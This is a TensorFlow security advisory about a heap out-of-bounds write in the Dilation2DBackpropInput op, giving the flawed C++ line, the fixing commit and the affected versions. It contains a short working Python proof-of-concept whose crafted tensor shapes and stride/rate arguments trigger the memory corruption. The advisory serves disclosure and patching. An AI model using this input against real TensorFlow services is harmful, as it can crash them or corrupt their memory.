Heap OOB access in `Dilation2DBackpropInput`
### Impact
An attacker can write outside the bounds of heap allocated arrays by passing invalid arguments to `tf.raw_ops.Dilation2DBackpropInput`:
```python
import tensorflow as tf
input_tensor = tf.constant([1.1] * 81, shape=[3, 3, 3, 3], dtype=tf.float32)
filter = tf.constant([], shape=[0, 0, 3], dtype=tf.float32)
out_backprop = tf.constant([1.1] * 1062, shape=[3, 2, 59, 3], dtype=tf.float32)
tf.raw_ops.Dilation2DBackpropInput(
input=input_tensor, filter=filter, out_backprop=out_backprop,
strides=[1, 40, 1, 1], rates=[1, 56, 56, 1], padding='VALID')
```
This is because the implementation
https://github.com/tensorflow/tensorflow/blob/afd954e65f15aea4d438d0a219136fc4a63a573d/tensorflow/core/kernels/dilation_ops.cc#L321-L322 does not validate before writing to the output array.
```cc
in_backprop(b, h_in_max, w_in_max, d) += out_backprop(b, h_out, w_out, d);
```
The values for `h_out` and `w_out` are guaranteed to be in range for `out_backprop` (as they are loop indices bounded by the size of the array). However, there are no similar guarantees relating `h_in_max`/`w_in_max` and `in_backprop`.
### Patches
We have patched the issue in GitHub commit 3f6fe4dfef6f57e768260b48166c27d148f3015f
https://github.com/tensorflow/tensorflow/commit/3f6fe4dfef6f57e768260b48166c27d148f3015f.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.